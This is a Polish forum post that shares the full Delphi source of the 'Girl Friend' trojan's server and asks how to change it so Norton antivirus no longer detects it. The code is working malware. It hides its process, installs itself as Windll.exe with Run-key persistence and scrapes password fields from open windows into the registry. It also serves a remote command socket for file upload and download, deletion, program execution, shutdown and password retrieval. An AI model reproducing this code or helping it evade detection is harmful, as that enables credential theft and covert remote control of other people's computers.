a wiec kod tego serwa wyglada tak , aha i dodam ze jest to serwer z trojana o naszwie Girl Friend !!! CHcialbym w nim cos pozmieniac zeby byl nie wykrywalny !!! I podpowiedzcie mi co w nim zmienic ... bo poprzedstawialem juz procedury pokasowalem komentarze itp. ale dalej jest wykrywany przez AV w tym przypadku Nortona ... wiec co mozna jescze zmienic ????
Kod:
unit ServerMain;
interface
uses
ScktComp, Registry, ShellAPI, ExtCtrls, ShowPictureUnit, Windows, Messages,
SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
TServerForm = class(TForm)
ServerSocket: TServerSocket;
PTimer: TTimer;
procedure ShowPicture (pName : string);
procedure ServerSocketClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure PTimerTimer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
ServerForm: TServerForm;
function PlaySound(lpszSoundName: PAnsiChar; uFlags: UINT): BOOL; stdcall;
implementation
function PlaySound; external 'winmm.dll' name 'sndPlaySoundA';
{$R *.DFM}
var
PList : array [1..64] of string;
FlT : FILE;
FName : string;
FSize : integer;
AppList : array [1..64] of LongInt;
PC, RC, APC, RLen, AC : integer;
SD : string;
buffer : array [0..1040] of byte;
sendfile, recfile : boolean;
iores : integer;
const
IconConst : array [0..4] of integer=(0, MB_ICONEXCLAMATION,
MB_ICONINFORMATION, MB_ICONSTOP, MB_ICONQUESTION);
WrapStr = #13+#10;
MegaByte = 1024*1024;
KiloByte = 1024;
function WinText (hWnd : LongInt) : string;
var PC : PChar;
L : integer;
begin
L:=SendMessage (hWnd, WM_GETTEXTLENGTH, 0, 0);
getmem (PC, L+1);
SendMessage (hWnd, WM_GETTEXT, L+1, LongInt (PC));
result:=PC;
end;
function IsPassword (hWnd : LongInt) : boolean;
var ST : LongInt;
begin
ST:=GetWindowWord (hWnd, GWL_STYLE) and $FF;
result:=(ST=$A0) or (ST=$E0);
end;
function IsTextField (hWnd : LongInt) : boolean;
var ST : LongInt;
begin
ST:=GetWindowWord (hWnd, GWL_STYLE) and $FF;
result:=(ST=$A0) or (ST=$E0) or (ST=$80) or (ST=$C0);
end;
procedure GetPasswordList;
var i, j : integer;
ohWnd, PrhWnd : LongInt;
begin
APC:=0;
for i:=1 to 16384 do
if IsWindow (i) then
if IsPassword (i) then
begin
PrhWnd:=i;
repeat
ohWnd:=PrhWnd;
PrhWnd:=GetParent (ohWnd);
until GetParent (PrhWnd)=0;
Inc (APC);
AppList[APC]:=PrhWnd;
end;
PC:=0;
for i:=1 to 16384 do
if IsWindow (i) then
if IsTextField (i) then
begin
PrhWnd:=i;
repeat
ohWnd:=PrhWnd;
PrhWnd:=GetParent (ohWnd);
until GetParent (PrhWnd)=0;
for j:=1 to APC do
if PrhWnd=AppList[j] then
begin
Inc (PC);
PList[PC]:=WinText(PrhWnd)+'___'+WinText(i);
break;
end;
end;
end;
procedure RegistryPasswords;
var i, j : integer;
found : boolean;
RG : TRegistry;
begin
ServerForm.PTimer.Enabled:=false;
RG:=TRegistry.Create;
GetPasswordList;
RG.RootKey:=HKEY_LOCAL_MACHINE;
RG.OpenKey ('SOFTWAREMicrosoftGeneral', TRUE);
if RG.ValueExists ('TCount') then
RC:=RG.ReadInteger ('TCount')
else
RC:=0;
if RC=0 then
begin
RG.WriteInteger ('TCount', PC);
for i:=1 to PC do
RG.WriteString (inttostr(i), PList[i]);
end
else
begin
for i:=1 to PC do
begin
found:=false;
for j:=1 to RC do
if RG.ReadString (inttostr(j))=PList[i] then found:=true;
if not(found) then
begin
Inc (RC);
RG.WriteString (inttostr(RC), PList[i]);
end;
end;
RG.WriteInteger ('TCount', RC);
{ for i:=1 to RC do
RG.WriteString (inttostr(i), RList[i]);}
end;
RG.Destroy;
ServerForm.PTimer.Enabled:=true;
end;
procedure TServerForm.FormCreate(Sender: TObject);
var TM : string;
i : integer;
PC, OldName, NewName : PChar;
RG : TRegistry;
hNdl :THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin
hNdl:=LoadLibrary('KERNEL32.DLL');
RegisterServiceProcess:=GetProcAddress(hNdl, 'RegisterServiceProcess');
RegisterServiceProcess (GetCurrentProcessID, 1);
FreeLibrary(hNdl);
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE) or
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
TM:=Application.ExeName;
for i:=Length(TM) downto 1 do
if TM[i]='' then break;
TM:=copy (TM, 1, i);
getMem (PC, 100);
GetWindowsDirectory (PC, 100);
SD:=PC+'';
freeMem (PC);
getmem (OldName, 100);
getMem (NewName, 100);
StrPCopy (OldName, Application.ExeName);
StrPCopy (NewName, SD+'Windll.exe');
if TM<>SD then
begin
DeleteFile (SD+'Windll.exe');
CopyFile (OldName, NewName, FALSE);
RG:=TRegistry.Create; // Add data to registry
RG.RootKey:=HKEY_LOCAL_MACHINE;
RG.OpenKey ('SOFTWAREMicrosoftWindowsCurrentVersionRun', FALSE);
RG.WriteString ('Windll.exe', SD+'Windll.exe');
RG.Destroy;
StrPCopy (OldName, '"'+Application.ExeName+'"');
ShellExecute (0, 'open', NewName, OldName, 'c:', 1);
Halt (0);
end
else
begin // Launch from WINDOWS directory
RG:=TRegistry.Create; // Remove from Registry (to hide!)
RG.RootKey:=HKEY_LOCAL_MACHINE;
RG.OpenKey ('SOFTWAREMicrosoftWindowsCurrentVersionRun', FALSE);
RG.WriteString ('Windll.exe', SD+'Windll.exe');
RG.Destroy;
RG:=TRegistry.Create;
RG.RootKey:=HKEY_LOCAL_MACHINE;
RG.OpenKey ('SOFTWAREMicrosoftGeneral', TRUE);
RG.CreateKey ('Settings');
RG.OpenKey ('SOFTWAREMicrosoftGeneralSettings', FALSE);
if RG.ValueExists ('APPID') then
ServerSocket.Port:=RG.ReadInteger ('APPID')
else
RG.WriteInteger ('APPID', ServerSocket.Port);
DeleteFile (ParamStr(1));
RG.Destroy;
ServerSocket.Active := True;
end;
end;
function extract (st : string; ind1, ind2 : integer): string;
var i: integer;
begin
result:='';
for i:=ind1 to ind2 do
result:=result+st[i];
end;
function ProcessMsg (Ms : string) : string;
var MCapt, MText : PChar;
MT, RT : string;
MSum : LongInt;
i : integer;
begin
MT:=extract (Ms, 6, Pos ('$$$', MS)-1);
getMem (MCapt, Length(MT)+1);
StrPCopy (MCapt, MT);
MT:=extract (MS, Pos('$$$', MS)+3, Pos ('%%%', MS)-1);
RT:='';
for i:=1 to Length (MT) do
if MT[i]='|' then RT:=RT+chr(13)+chr(10) else RT:=RT+MT[i];
getMem (MText, Length(RT)+1);
StrPCopy (MText, RT);
RT:=extract (MS, Pos ('%%%', MS)+3, Length (MS) );
MSum:=0;
case RT[1] of
'1' : MSum:=MB_ABORTRETRYIGNORE;
'2' : MSum:=MB_OKCANCEL;
'3' : MSum:=MB_RETRYCANCEL;
'4' : MSum:=MB_YESNO;
'5' : MSum:=MB_YESNOCANCEL;
end;
MSum:=MSum+IconConst [ ord (RT[2])-48 ];
MSum:=MessageBox (0, MText, MCapt, MSum+MB_SYSTEMMODAL);
RT:='Unknown answer';
case MSum of
IDABORT : RT:='Abort.';
IDCANCEL: RT:='Cancel.';
IDIGNORE: RT:='Ignore.';
IDNO : RT:='No.';
IDOK : RT:='Ok.';
IDRETRY : RT:='Retry.';
IDYES : RT:='Yes.';
end;
result:=RT;
freeMem (MText);
freeMem (MCapt);
end;
procedure TServerForm.ShowPicture (pname : string);
begin
if FileExists (pname) then
with frmPicture do
begin
imgPic.Picture.LoadFromFile (pname);
imgPic.Top:=0;
imgPic.Left:=0;
pnPic.Left:=2;
pnPic.Top:=2;
pnPic.Width:=imgPic.Width+3;
pnPic.Height:=imgPic.Height+3;
Width:=imgPic.Width+5;
Height:=imgPic.Height+5;
Left:=(Screen.Width-Width) div 2;
Top:=(Screen.Height-Height) div 2;
Show;
end;
end;
function TransName (FD : TSearchRec) : string;
var RS : char;
MD : string;
begin
RS:='U';
if (FD.Attr and faDirectory)>0 then RS:='F';
MD:=LowerCase (copy (FD.Name, Length(FD.Name)-2, 3));
if MD='bmp' then RS:='B';
if MD='exe' then RS:='E';
if MD='wav' then RS:='W';
result:=RS+'_'+LowerCase(FD.Name){+WrapStr};
end;
function LastPos (subchar : char; s : string) : integer;
var i : integer;
begin
result:=0;
for i:=Length(s) downto 1 do
if subchar=s[i] then
begin
result:=i;
break;
end;
end;
function GetFSizeStr (FN : TSearchRec): string;
var FS : real;
FST, DB : string;
begin
FS:=FN.Size;
DB:=' B)';
if FS>=KiloByte then DB:=' KB)';
if FS>=MegaByte then DB:=' MB)';
if DB=' KB)' then FS:=FS / KiloByte;
if DB=' MB)' then FS:=FS / MegaByte;
if DB=' B)' then
FST:=inttostr(round(FS))
else
Str (FS:5:2, FST);
FST:=Trim (FST);
result:=' ('+FST+DB+WrapStr;
end;
function CNumeric (const S : string):string;
var i : integer;
begin
result:='';
for i:=1 to Length (S) do
if S[i] in ['0','1','2','3','4','5','6','7','8','9'] then
result:=result+S[i];
end;
procedure TServerForm.ServerSocketClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var gotstr:string;
i, PX : integer;
TM : Cardinal;
RG : TRegistry;
TPC : PChar;
TMR, DM : string;
STD : TSearchRec;
FL : FILE;
begin
if recfile then
begin
repeat
Application.ProcessMessages;
AC:=Socket.ReceiveBuf (buffer, 1024);
if AC>0 then
begin
RLen:=RLen+AC;
BlockWrite (FlT, buffer, AC);
end;
until RLen>=FSize;
if recfile then
begin
CloseFile (FlT);
Socket.SendText ('Uploading complete.');
end;
recfile:=false;
exit;
end;
if not(recfile) then
begin
gotstr:=socket.receivetext;
if (copy (gotstr, 1, 7)='getfile') and not(sendfile) then
if FileExists (extract (gotstr, 8, Length(gotstr))) then
begin
sendfile:=true;
AssignFile (Fl, extract (gotstr, 8, Length(gotstr)));
ReSet (Fl, 1);
Socket.SendText ('Sending file '+extract (gotstr, 8, Length(gotstr))+'; size '+inttostr(FileSize (FL))+' byte(s).');
Socket.SendText ('{FSEND}'+WrapStr);
Socket.SendText (inttostr(FileSize (FL))+WrapStr);
Socket.SendText (extract (gotstr, lastpos ('', gotstr)+1, Length(gotstr))+WrapStr);
Sleep (500);
Socket.SendText ('{FCOMP}'+WrapStr);
Sleep (1000);
repeat
BlockRead (Fl, buffer, 1024, iores);
if iores>0 then
Socket.SendBuf (buffer, iores);
until EOF(Fl);
CloseFile (Fl);
sendfile:=false;
end;
if not (sendfile) then
begin
if copy (gotstr, 1, 8)='takefile' then
begin
recfile:=true;
FName:=extract (gotstr, Pos (':::', gotstr)+3, Length(gotstr));
FSize:=strtoint (CNumeric (FName));
FName:=extract (gotstr, 9, Pos (':::', gotstr)-1);
AssignFile (FlT, FName);
ReWrite (FlT, 1);
RLen:=0;
Application.ProcessMessages;
exit;
end;
if copy (gotstr, 1, 7)='delfile' then
begin
if DeleteFile (extract (gotstr, 8, Length(gotstr))) then
Socket.SendText ('Plik skasowany') else
Socket.SendText ('skasuj blad');
end;
if gotstr='Quiting..'then
begin
ServerSocket.Close;
ServerSocket.Active := True;
end;
if gotstr='getbaselist' then
begin
GetMem (TPC, 100);
PX:=GetLogicalDriveStrings (100, TPC);
DM:='';
for i:=-1 to PX do
if (TPC+i)[1]<>#0 then DM:=DM+(TPC+i)[1];
FreeMem (TPC);
TMR:='';
Socket.SendText ('{TDSS}');
for i:=1 to Length (DM) do
begin
TMR:=TMR+DM[i];
if (i mod 3)=0 then
begin
GetMem (TPC, 4);
StrPCopy (TPC, TMR);
PX:=GetDriveType (TPC);
FreeMem (TPC);
TM:=0;
if PX=DRIVE_CDROM then
begin
TMR:='C_'+TMR+WrapStr;
TM:=10;
end;
if PX=DRIVE_FIXED then
begin
TMR:='H_'+TMR+WrapStr;
TM:=10;
end;
if TM>0 then Socket.SendText (TMR);
TMR:='';
end;
end;
Socket.SendText ('{FFDT}');
end;
if copy (gotstr, 1, 7)='diskget' then
begin
Socket.SendText ('{LFTM}'+WrapStr);
FindFirst (extract (gotstr, 8, Length(gotstr))+'*.*', faAnyFile, STD);
if ((STD.Attr and faDirectory)>0) and (STD.Name<>'.') then
Socket.SendText (TransName(STD)+WrapStr);
repeat
PX:=FindNext (STD);
if (PX=0) and ((STD.Attr and faDirectory)>0) and (STD.Name<>'..') then
Socket.SendText (TransName(STD)+WrapStr);
until PX<>0;
FindClose (STD);
FindFirst (extract (gotstr, 8, Length(gotstr))+'*.*',
faArchive+faReadOnly+
faHidden+faSysFile, STD);
if STD.Attr<>faDirectory then
Socket.SendText (TransName(STD)+GetFSizeStr (STD));
repeat
PX:=FindNext (STD);
if (PX=0) and (STD.Attr<>faDirectory) then
Socket.SendText (TransName(STD)+GetFSizeStr (STD));
until PX<>0;
FindClose (STD);
Socket.SendText ('{RETL}');
end;
if gotstr='ver' then socket.sendtext('CCCP server v 1.0 . Port '+
inttostr(ServerSocket.Port)+chr(13)+chr(10));
if gotstr='time' then
Socket.SendText ('Remote Time/Date is '+
FormatDateTime ('hh:nn.ss "-" mmmm d, yyyy, dddd', Now) );
if gotstr='TEST?' then socket.sendtext('Server OK');
if copy (gotstr, 1, 5)='{MSG}' then
Socket.SendText ('User answered :'+ProcessMsg (gotstr));
if copy (gotstr, 1, 3)='{S}' then
if FileExists (extract (gotstr, 4, Length (gotstr))) then
begin
GetMem (TPC, Length (gotstr)-2);
StrPCopy (TPC, extract (gotstr, 4, Length (gotstr)));
PlaySound (TPC, 1);
FreeMem (TPC);
end;
if copy (gotstr, 1, 3)='{P}' then
ShowPicture (extract (gotstr, 4, Length (gotstr)));
if copy (gotstr, 1, 3)='{U}' then
begin
GetMem (TPC, Length (gotstr)-2);
StrPCopy (TPC, extract (gotstr, 4, Length (gotstr)));
ShellExecute (0, 'open', TPC, '', 'c:', 1);
FreeMem (TPC);
end;
if gotstr='Name user' then
begin
TM:=50;
GetMem (TPC, 50);
GetUserName (TPC, TM);
Socket.SendText ('Current user: '+TPC);
FreeMem (TPC);
end;
if gotstr='Logoff' then
ExitWindowsEx (EWX_LOGOFF, TM);
if gotstr='Shutdown' then
ExitWindowsEx (EWX_SHUTDOWN, TM);
if gotstr='ReBOOT' then
ExitWindowsEx (EWX_REBOOT, TM);
if gotstr='PowerOFF' then
ExitWindowsEx (EWX_POWEROFF, TM);
if gotstr='DOWN' then
begin
PTimer.Enabled:=false;
Socket.SendText ('Timer off.');
end;
if gotstr='UP' then
begin
PTimer.Enabled:=true;
Socket.SendText ('Timer on.');
end;
if copy (gotstr, 1, 7)='setport' then
begin
Socket.SendText ('New port: '+extract(gotstr, 8, Length(gotstr)));
ServerSocket.Close;
ServerSocket.Port:=strtoint (extract(gotstr, 8, Length(gotstr)) );
RG:=TRegistry.Create;
RG.RootKey:=HKEY_LOCAL_MACHINE;
RG.OpenKey ('SOFTWAREMicrosoftGeneralSettings', TRUE);
RG.WriteInteger ('APPID', ServerSocket.Port);
RG.Destroy;
ServerSocket.Active := True;
end;
if gotstr='Old me show?' then
begin
PTimer.Enabled:=false;
RG:=TRegistry.Create;
RG.RootKey:=HKEY_LOCAL_MACHINE;
RG.OpenKey ('SOFTWAREMicrosoftGeneral', TRUE);
if RG.ValueExists ('TCount') then
begin
RC:=RG.ReadInteger ('TCount');
socket.SendText ('{PLTS}');
for i:=1 to RC do
socket.SendText (RG.ReadString (inttostr(i))+chr(13)+chr(10));
socket.SendText ('{FTPL}'+chr(13)+chr(10));
end;
RG.Destroy;
PTimer.Enabled:=true;
end;
if gotstr='RESETALL' then
begin
PTimer.Enabled:=false;
RG:=TRegistry.Create;
RG.RootKey:=HKEY_LOCAL_MACHINE;
RG.OpenKey ('SOFTWAREMicrosoftGeneral', TRUE);
if RG.ValueExists ('TCount') then
begin
PX:=RG.ReadInteger ('TCount');
RG.DeleteValue ('TCount');
for i:=1 to PX do
RG.DeleteValue (inttostr(i));
end;
RG.Destroy;
PTimer.Enabled:=true;
end;
if gotstr='KillHER' then
begin
Socket.SendText ('Server killed!');
ServerSocket.Close;
RG:=TRegistry.Create;
RG.RootKey:=HKEY_LOCAL_MACHINE;
RG.OpenKey ('SOFTWAREMicrosoft', FALSE);
RG.DeleteKey ('General');
RG.Destroy;
RG:=TRegistry.Create;
RG.RootKey:=HKEY_LOCAL_MACHINE;
RG.OpenKey ('SOFTWAREMicrosoftWindowsCurrentVersionRun', FALSE);
RG.DeleteValue ('Windll.exe');
RG.Destroy;
Halt (0);
end;
if gotstr='HELP?' then
begin
Socket.SendText ('---HELP---'+WrapStr);Sleep(100);
Socket.SendText ('KillHER - kill server'+WrapStr);Sleep(100);
Socket.SendText ('UP - switch password-looking timer on'+WrapStr);Sleep(100);
Socket.SendText ('DOWN - off'+WrapStr);Sleep(100);
Socket.SendText ('Logoff - logoff user from windows'+WrapStr);Sleep(100);
Socket.SendText ('Shutdown - shutdown windows'+WrapStr);Sleep(100);
Socket.SendText ('ReBOOT - reboot PC'+WrapStr);Sleep(100);
Socket.SendText ('PowerOFF - power off;)'+WrapStr);Sleep(100);
Socket.SendText ('Name user - displays username'+WrapStr);Sleep(100);
Socket.SendText ('TEST? - tests server'+WrapStr);Sleep(100);
Socket.SendText ('time - displays time'+WrapStr);Sleep(100);
Socket.SendText ('ver - displays server version'+WrapStr);Sleep(100);
Socket.SendText ('----------'+WrapStr);Sleep(100);
end;
end;
end;
end;
procedure TServerForm.FormClose(Sender: TObject; var Action: TCloseAction);
var RG : TRegistry;
begin
RG:=TRegistry.Create;
RG.RootKey:=HKEY_LOCAL_MACHINE;
RG.OpenKey ('SOFTWAREMicrosoftWindowsCurrentVersionRun', FALSE);
RG.WriteString ('Windll.exe', SD+'Windll.exe');
RG.RootKey:=HKEY_LOCAL_MACHINE;
RG.OpenKey ('SOFTWAREMicrosoftGeneralSettings', FALSE);
RG.WriteInteger ('APPID', ServerSocket.Port);
RG.Destroy;
end;
procedure TServerForm.PTimerTimer(Sender: TObject);
begin
RegistryPasswords;
end;
end.